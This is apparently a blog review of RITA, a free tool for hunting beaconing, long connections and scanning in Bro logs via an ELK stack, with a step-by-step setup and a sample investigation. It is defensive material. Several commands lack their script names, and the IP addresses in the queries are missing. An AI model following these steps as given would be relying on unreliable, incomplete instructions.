RITA is intended to help in the search for indicators of compromise in enterprise networks of varying size. The framework was instructed by it's engineers experience in penetration testing with the question of how they'd catch themselves, thus the analysis tends to looks specifically at the indicators their tools tend to leave behind." This is the basis of a contemporary hunting practice, the definition of proper red team / blue team give and take. Emulate your adversary with the same tools they'd use (red), then write and implement detection and alerting logic to identify that same activity. You'll force your red teams to become stealthier while improving your blue team tactics, all the while improving your likelihood of catching average and less sophisticated adversaries.
John and team have endeavored to document RITA, and while the docs are raw, they'll definitely get you under way. Here's a bit of a manifest to help bring you up to speed:
1) Initial video
2) Initial blog post
3) Release notes
4) Initial overview
5) Bro logs import overview
6) OVA for your preferred virtualization platform (works like a charm on VMWare)

Read all the docs, that's an order, but I'll give you my exact setup steps, which borrow liberally from the docs above...that you're supposed to read.
1) Download and import the RITA OVA. Username: ht, password: !templinpw! (change it).
2) Crack open a terminal and run sudo apt-get update && sudo apt-get upgrade. Good time to take a VM snapshot.
3) Download bro_logs.tar.gz and logstash_script.tar.gz.
4) Create a logs directory, I used mkdir /home/ht/Documents/toolsmith.
5) Unpack bro_logs.tar.gz in your new directory, it created /home/ht/Documents/toolsmith/logs for me.
6) Unpack logstash_script.tar.gz in the new logs directory.
7) cd logstash_script.
8) chmod +x
9) Edit bro.conf (line 128) such that imported Bro logs write to an index of your choosing. You'll be shocked to learn that I chose toolsmith.
10) ./ ../bro_meterpreter/2015-* ../dns_bro/2015-* ../powershell/2015-*
Figure 1: Import in progress
11) Browse to http://localhost:5601 to access Kibana. RITA runs on an ELK stack if you haven't figured that out yet. :-)
12) Go to Settings tab, change the index name to that which you selected above and add @timestamp under Time-field name resulting in something like Figure 2.
Figure 2: Kibana Settings
13) Go to Discover, and change time range from Last 15 Minutes to Last 5 Years. If all's gone to plan you'll see 572,687 entries.
14) Back at your terminal, cd Documents/RITA.
15) python
16) Browse to http://localhost:5000 for the RITA UI
17) Enter the name of the index you created, should appear as in Figure 3
Figure 3: RITA UI
RITA gives you these capabilities in her current release:

Connections that happen frequently and on similar intervals could be an indicator of malware calling home
Blacklisted IPs
Blacklisted IPs are addresses reported as being involved with malware, spamming, and other dangerous activities
These events occur when a computer attempts to connect to a large number of ports on a system, searching for vulnerabilities
Long Durations
Connections that are beyond the length of average on a network could indicate a compromised system
Long URLs
Longer than normal URLs could potentially be used to transfer malicious data into the system
Concurrent Logins
A user being logged into a high number of systems could indicate that this user's account or original system has been compromised

Under Beaconing, change potential_save_dir to /home/ht/Desktop/ then click Run Module.
While you wait, you can watch progress in you terminal window.
Figure 4: Beacon analysis progress
Again, browse to http://localhost:5601, go to Discover, and change time range from Last 15 Minutes to Last 5 Years.  You'll see a slew of results for "unlikely beacons"; this will not do. We need likely beacons, or what's the point? Search result_type:likely_beacons, and dig deeper. A number of the results seek destinations that are multicast addresses, let's filter those out. I tried result_type:likely_beacons - and shrunk to load to three hits, two of which shared a destination IP of as seen in Figure 5.

Figure 5: Filtered beacons
You should also see a number of PNG result files in /home/ht/Desktop by the way, which will visually help you confirm, Figure 5 does exactly that. Source IPs and are both communicating with over HTTP.

Figure 6: Beacons

The beaconing is identified via a Fast Fourier Transform algorithm (FFT) generating graph that represents the results based on the time stamps for a given source/destination connection.
For continued pursuit of a culprit I then filtered with src: AND dst: -unlikely_beacons, which resulted in 49,611 hits.
Maybe an additional focus area from RITA's list such as Long Durations? Yep, that worked. result_type=long_durations AND src= returned 60 hits including That IP belongs to Amazon Web Services, nobody ever uses a cloud node for exfil or C2 during hacks or pentest work, right? :-) A long connection at odd hours bound from one of your source IPs to an AWS node could be quite interesting and worth a closer look.

Figure 7: Why is my IP having a long chat with an AWS node?
 Another interesting pivot may be to see what else your source IP has been up to at this point. I tried result_type=scanning AND src= and...what!...a scanning hit?

Figure 8: Scanning
You may notice that the dates are wonky, they represent when I ran the query rather that the date of the actual scanning activity. I re-queried just the destination IP, in this case, and returned correct time stamps: September 16, 2015.
Sure, these are sample logs, but as an exercise opportunity, the work beautifully conveying how important it is to analyze from multiple perspectives.

Wrap Up

Yes, RITA is work in progress, but if you use it only as an excuse to improve you ELK stack fu, you're already winning. Yes, we all love Splunk, but no we cannot all afford it. RITA and ELK go a long way down the path to free and open source alternatives, particularly for Bro users, which you should all be.
Keep an eye on this project, I love where it's going, I'm betting the futures for this one.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.